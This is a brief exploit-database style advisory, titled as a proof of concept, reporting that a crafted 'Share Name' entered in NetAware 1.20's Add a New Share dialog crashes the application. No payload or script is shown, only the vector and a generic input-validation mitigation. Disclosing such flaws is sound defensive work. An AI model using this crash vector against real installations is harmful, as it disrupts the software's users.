NetAware 1.20 – ‘Share Name’ Denial of Service (PoC)

NetAware 1.20 is vulnerable to a denial of service attack when a maliciously crafted 'Share Name' is entered into the 'Manage Shares' > 'Add a New Share...' dialog. This causes a crash of the application.

Mitigation:

Ensure that user input is properly validated and sanitized before being used.
